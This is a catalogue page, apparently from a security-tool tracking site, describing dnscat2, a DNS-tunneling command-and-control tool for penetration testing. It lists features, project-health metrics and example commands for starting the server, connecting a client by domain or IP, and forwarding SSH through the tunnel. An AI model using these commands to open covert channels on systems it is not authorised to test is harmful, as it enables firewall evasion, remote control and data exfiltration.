PAGES
← all tools
◆ Post-Exploitation

dnscat2

0.07 open-source

DNS tunneling tool that creates an encrypted command-and-control channel over the DNS protocol for use in penetration testing.

Summary

dnscat2 is an open-source, BSD-licensed DNS tunneling tool that builds an encrypted command-and-control channel over the DNS protocol, one of the few paths that reliably survives a firewall. It runs as a command-line client on the compromised host and a server on an authoritative DNS server (or listening directly on UDPUDPA network protocol that sends individual messages without guaranteeing delivery or order. Applications trade built-in reliability for less overhead and can add their own recovery./53), with the client written in C to keep dependencies minimal and the server in Ruby. It's built for red teamers and penetration testers doing post-exploitation work rather than general network evasion; the README is explicit that it targets C&C specifically, not casual firewall-bypassing use. First committed in 2013 with 24 contributors and six tracked releases, it has had no commits in the past year.

DNS tunneling tool that creates an encrypted command-and-control channel over the DNS protocol for use in penetration testing.

How dnscat2 helps

Can I get a shell on a compromised host when only outbound DNS is allowed off this network?

the client rides legitimate-looking DNS queries through the local resolver to an authoritative server you control, giving a command channel even when every other outbound port is blocked

Can I reach a compromised host if there's no authoritative domain set up for it?

the server can also listen directly on UDP/53 and take connections straight to the IP, at the cost of standing out more in a packet log

How do I get a foothold service like SSH reachable from a box I've already compromised?

it opens a forwarding tunnel modeled after socat, so a chosen port on the server side rides inside the DNS channel to a service on the client side

Is my C&C traffic readable by whoever is watching the DNS logs?

every session is encrypted by default once a connection is established, so captured queries show tunnel traffic but not the commands or output inside it

Will a flaky or monitored DNS path silently drop my session?

the client retransmits a fixed number of times against a bad server before giving up, so a session dies predictably instead of hanging forever

Can I keep other DNS traffic on the same domain from breaking or tipping off the tunnel?

a passthrough option forwards requests the server doesn't recognize as tunnel traffic upstream, so unrelated queries keep resolving normally

all 6 features, with the evidence for each →

Languages

Not documented

Features

6 capabilities

Built from dnscat2's releases, docs, README and our own runs. “Seen” marks the month we first spotted a release the vendor didn't date.

Compare with peers →

All capabilities 6 capabilities
Connectivity and Resolution Testing shipped Tests connectivity by pinging the server and supports custom DNS resolvers for resolution during tunnel operations. 1 release · 4 other sources · first seen Oct 2015

release

  • Introduces COMMAND_DELAY environment variable to adjust the client session delay dynamically during an active session 0.07 · Jun 2016 · source · release history

example

  • Throttle or speed up DNS query frequency for an active dnscat2 client without restarting it. export COMMAND_DELAY=5 # Then ensure the connected client picks up the change via the server command 0.07 · Jun 2016 · source
  • Use the new standalone logger for general DNS traffic observation. ruby dnslogger.rb --listen-port 53 0.03 · Oct 2015 · source
  • Ping using custom DNS resolver ./dnscat --dns server=8.8.8.8,domain=skullseclabs.org --ping
  • Ping server to test connectivity ./dnscat --ping skullseclabs.org
DNS Tunnel Client Connection shipped Connects a client to the server via a DNS tunnel, allowing for alternative connection methods such as direct IP or custom DNS resolution. 1 release · 2 other sources · first seen Oct 2015

release

  • Adds passthrough option to forward unknown requests to an upstream server 0.03 · Oct 2015 · source · release history

example

  • Connect client directly by IP ./dnscat2 --dns host=206.220.196.59,port=5353
  • Connect client via DNS tunnel ./dnscat2 skullseclabs.org
DNS Traffic Logging shipped Captures and logs DNS queries for operational observation or analysis. 1 release · first seen Oct 2015

release

  • Adds dnslogger.rb as a standalone tool for logging DNS queries 0.03 · Oct 2015 · source · release history
DNS Tunnel Server Initialization shipped Starts the server component with an authoritative domain to handle DNS requests. 1 other source

example

  • Start server with authoritative domain ruby ./dnscat2.rb skullseclabs.org
DNS Tunneling C2 documented Creates an encrypted command-and-control channel over the DNS protocol for use in penetration testing. 1 other source

docs

  • DNS tunneling tool that creates an encrypted command-and-control channel over the DNS protocol for use in penetration testing.
SSH Forwarding over DNS Tunnel shipped Forwards SSH traffic through the established DNS tunnel. 1 other source

example

  • Forward SSH through dnscat2 tunnel listen 127.0.0.1:2222 10.10.10.10:22

Lines in monospace are the tool's own words: help text parsed from its source, or an endpoint from its API document. Under release, a line is our summary of a dated release. Under docs, it is quoted from the tool's own documentation or website. Each links back to the source it came from.

Score card

  1. Shipping velocity releases a month, last 12 months
  2. Documentation quality release-notes rubric, 0–100
  3. Breaking-change discipline how rarely a release breaks users, and notice given
  4. Maintenance risk quiet time against its own cadence, maintainers
  5. Innovation & surface new capabilities, API and MCP surface
  6. Community health
  7. Contributor trend distinct committers, this year against last
  8. Maintainer concentration bus factor now against a year ago
  9. Issue backlog trend issues closed per issue opened, 12 months
  10. Responsiveness median time to a maintainer’s first reply

Nine scores for dnscat2, each built from the releases, notes and API history this site tracks — and, on Researcher and Business, where it stands among every measured tool in its category and how that has moved.

Score cards are part of every paid plan.

See plans →

Each score is 0–100 on a published rubric, derived from data this site already shows. A dimension we cannot measure says so — it is never scored 0 and never enters a rank.

How this is scored
  • Shipping velocity — releases a month over the last 12 months, on a log scale where 16 a month scores 100. Needs 3 releases in the window.
  • Documentation quality — the release-notes rubric published on the analytics page, unchanged.
  • Breaking-change discipline — the share of releases carrying a breaking change (none scores 100, half or more scores 0). Only projects that label breaking changes are measured: a clean record cannot be told from an unlabelled one.
  • Maintenance risk — quiet time measured against the tool's own release cadence (quiet longer than 90 days and three typical gaps scores 0), plus the number of active maintainers and whether contributors are growing, where known. Higher is lower risk.
  • Innovation & surface — new capabilities in the feature ledger this year, API and MCP operations added, and the share of commits that are features: the mean of whichever we hold.
  • Community health (open-source tools only) — each is a direction, not a size: contributors this year against last, the bus factor now against a year ago, and issues closed per issue opened, where steady scores 50, doubled 100 and halved 0; plus the median time to a maintainer's first reply (an hour scores about 100, a month or more 0). A commercial card has no repository and carries none of the four.
  • Documented delivery (commercial tools) — when a vendor's documented new capabilities have slowed against its own baseline, that counts against the overall standing as heavily as two low dimensions. Steady delivery, or too little history to judge, leaves the standing alone; it is never a sixth score.
  • Open-source tools are scored on repository signals; commercial tools on their published changelog. Ranks compare tools within one category and one profile and need at least five measured peers; the overall standing needs three ranked dimensions. Best-in-breed or consolidator is a shape, not a quality, and is never scored.

Release-note detail over time

See how much detail dnscat2 puts in its release notes, quarter by quarter, and compare it with tracked tools in the same category. This history uses up to ten retained, reviewed notes per tool; sparse or blank older quarters may reflect that limit.

Checking release-note history…

Explore the full chart →

Releases

2 entries

  1. June 20161
  2. October 20151

    2 entries

    Project health

    Issue, contributor and maintainer activity in iagox86/dnscat2, 2023-10 – 2026-09, as of 2026-09-25. Twelve-month figures first; the trend lines run the whole window.

    1. Contributors 0 ±0 vs prior 12 months
    2. Maintainers 0 +0 joined · −0 left, last 12 months
    3. Bus factor 0 committers behind half the commits
    4. Community-filed 100% of issues opened, last 12 months
    5. Median time to close not measured issues closed, last 12 months
    6. Open backlog 87 of 148 issues ever filed
    1. Issues opened / month 0 · 0 communitymaintainers
    2. Open backlog 87
    3. Contributors / month 0
    4. Commits / month 0
    5. Stars 3,973
    Issue themes, last 12 months
    • other 100%

    Counts from the project's public repository and git history; no individuals are identified. Maintainers are the committers covering 80% of the last year's commits. how we measure this

    Articles

    1 article · updated Nov 4, 2026

    Where dnscat2 turns up in what others publish: how-tos, attack reports that name it, and incident write-ups. A row says why it is here and quotes where the article names it; the link goes to the publisher.

    Tutorials & guides 1

    • DNScat2: Application Layer C&C Hacking Articles
      In this guide, we explore DNScat2 Application Layer Command and Control , a method for using DNS to establish covert communication channels.
      2 more quotes
      By setting up DNScat2, security professionals can create a tunnel over port 53, allowing encrypted data transmission and remote access while bypassing firewalls.
      In comes, dnscat2.

    Libraries its release ships

    What its latest release locks, checked against known advisories.

    We can only check tools that publish GitHub releases.

    Add the badge to your README

    Maintain this project? The badge links readers straight to this page, so they can follow every release here.

    Tracked by Cyber Toolchain Choose a badge style and copy the code →
    browse all tools → score card for your toolchain →